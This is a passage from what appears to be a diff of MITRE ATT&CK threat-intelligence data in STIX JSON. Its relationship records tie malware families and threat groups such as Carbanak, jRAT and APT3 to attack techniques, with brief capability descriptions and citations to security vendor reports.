"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:17:09.504Z", + "id": "relationship--90073373-434c-403c-bbb1-779b25fccb3d", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.685Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can open a command-line interface.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--962db69e-efe1-4e5f-b845-99294ace5eb0", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[ZLib](https://attack.mitre.org/software/S0086) communicates over HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fb11df98-790a-4b1c-9ca0-73224226cff3", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by creating a scheduled task.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--eb0307d6-901d-4140-84f9-a08c6a8ea14c", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "description": "[Pasam](https://attack.mitre.org/software/S0208) establishes by infecting the Security Accounts Manager (SAM) DLL to load a malicious DLL dropped to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ac89c5e2-ade5-4889-a905-7dbe835ff5fd", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "source_name": "Symantec Pasam May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can download additional files from URLs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--484add44-6a43-4700-b1bc-d64f24157353", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) encodes C2 traffic with base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--79f0712b-2cb1-47df-8ea1-26fb1502a831", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "Various implementations of [CHOPSTICK](https://attack.mitre.org/software/S0023) communicate with C2 over HTTP, SMTP, and POP3.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3a9abcd5-52ba-44f1-96a5-1593f816b9f0", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.973Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[ZLib](https://attack.mitre.org/software/S0086) mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fb9cf04b-ad28-472a-9ee3-a2e744e0e122", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather information about the operating system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c088f23e-b741-453c-a710-01990dead853", + "source_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Systeminfo. Retrieved April 8, 2016.", + "source_name": "TechNet Systeminfo", + "url": "https://technet.microsoft.com/en-us/library/bb491007.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can download or upload files from its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--c4d77981-d2e4-4a12-8e52-5b7464cdc8fd", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can access a connected webcam and capture pictures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c18f83e7-979e-4bd8-80bb-d0a4e8146a21", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:48.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[APT3](https://attack.mitre.org/groups/G0022) places scripts in the startup folder for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--cc705bf0-ba29-443e-9cd5-aef247505210", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) can download and upload files to and from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a2ad2bea-4359-47a8-ae5f-f18beab07316", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can download and execute files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--730190b3-d372-4461-9bf4-94de4c078968", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.396Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + }, + { + "source_name": "Symantec Frutas Feb 2013", + "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.", + "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[FTP](https://attack.mitre.org/software/S0095) operates over ports 21 and 20.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--05352dad-ecbb-477c-a05c-5eb3d67ae9ae", + "source_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Wikipedia. (2016, June 15). File Transfer Protocol. Retrieved July 20, 2016.", + "source_name": "Wikipedia FTP", + "url": "https://en.wikipedia.org/wiki/File_Transfer_Protocol" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) has used rundll32.exe in a Registry value to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--12904c83-67ad-430f-96ae-20e9081c2b5d", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to download a file from the C2 server to the victim mobile device's SD card.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--56d858ef-2d62-4aa9-b050-699de9b048e9", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) uses the API call ShellExecuteW for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7af9715f-b85c-4fc5-8ef8-5884c8144178", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) will sleep until after a date/time value loaded from a .dat file has passed. This allows the RAT to remain dormant until a set date, which could allow a means to regain access if other parts of the actors' toolset are removed from a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3f327394-55be-4dac-8e79-93c49be0426a", + "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[jRAT](https://attack.mitre.org/software/S0283) has the capability to take screenshots of the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ea2f957a-b144-4f06-b3fe-891df62f9444", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.486Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) checks the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings for proxy configurations information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3a217a5a-b6c4-47c5-822a-5b278385c811", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) can perform screen capturing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4e2f4bbd-ea3b-4996-bc2a-3d670d9f5cf5", + "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) uses a keylogger and steals clipboard contents from victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6d2d4146-bf9e-4b75-9a23-052c09e99eeb", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) collects general system enumeration data about the infected machine and checks the OS version.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--072af62a-85d5-4803-aa05-d7c6efa9ec2a", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) contains functionality to collect information from the clipboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--35ca6c35-f1e9-49b7-a8c9-a67951c57ea0", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[RARSTONE](https://attack.mitre.org/software/S0055) obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--35ec37ba-44aa-49b1-9379-3f6070554c62", + "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Camba, A. (2013, February 27). BKDR_RARSTONE: New RAT to Watch Out For. Retrieved January 8, 2016.", + "source_name": "Camba RARSTONE", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) can gather the username from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cb68541e-3ca7-4e2d-892d-c30b50107b39", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "source_name": "APT15 Intezer June 2018", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) queries Registry values as part of its anti-sandbox checks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--79cebb53-3154-4512-9343-2942b1f72ff5", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.463Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) was likely obfuscated using Invoke-Obfuscation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7b5178ce-a9bc-405e-b062-22b4276fbf99", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": 